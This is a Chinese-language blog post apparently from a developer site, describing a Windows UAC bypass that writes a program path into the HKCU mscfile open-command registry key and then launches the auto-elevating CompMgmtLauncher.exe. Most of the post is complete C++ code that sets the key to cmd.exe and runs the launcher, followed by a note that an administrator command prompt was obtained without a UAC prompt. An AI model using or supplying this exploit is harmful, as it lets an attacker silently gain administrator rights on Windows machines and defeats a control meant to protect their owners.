描述
- 用管理员权限运行CompMgmtLauncher.exe,由于它是白名单程序,不会被UAC拦截,可以直接以管理员权限运行
- CompMgmtLauncher的功能是去遍历指定注册表路径下的程序,并启动
- 只要在特定注册表路径下写入目标程序的路径,运行白名单程序,就可以绕过UAC,获取管理员权限运行程序
代码
- 只需要往指定注册表路径中写入目标程序路径
- 随后启动CompMgmtLauncher程序
#include "stdafx.h"
#include <Windows.h>
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}
BOOL SetReg(char* lpszExePath)
{
HKEY hKey = NULL;
::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey)
{
ShowError("RegCreateKeyEx");
return FALSE;
}
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
::RegCloseKey(hKey);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;
PVOID OldValue = NULL;
::Wow64DisableWow64FsRedirection(&OldValue);
bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
if (bRet)
{
system("CompMgmtLauncher.exe");
printf("Run OK!\n");
}
else
{
printf("Run ERROR!\n");
}
::Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}
结果
- 通过ProcMon查看CompMgmtLauncher读注册表操作

- 成功绕过UAC,获得管理员权限的cmd

【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库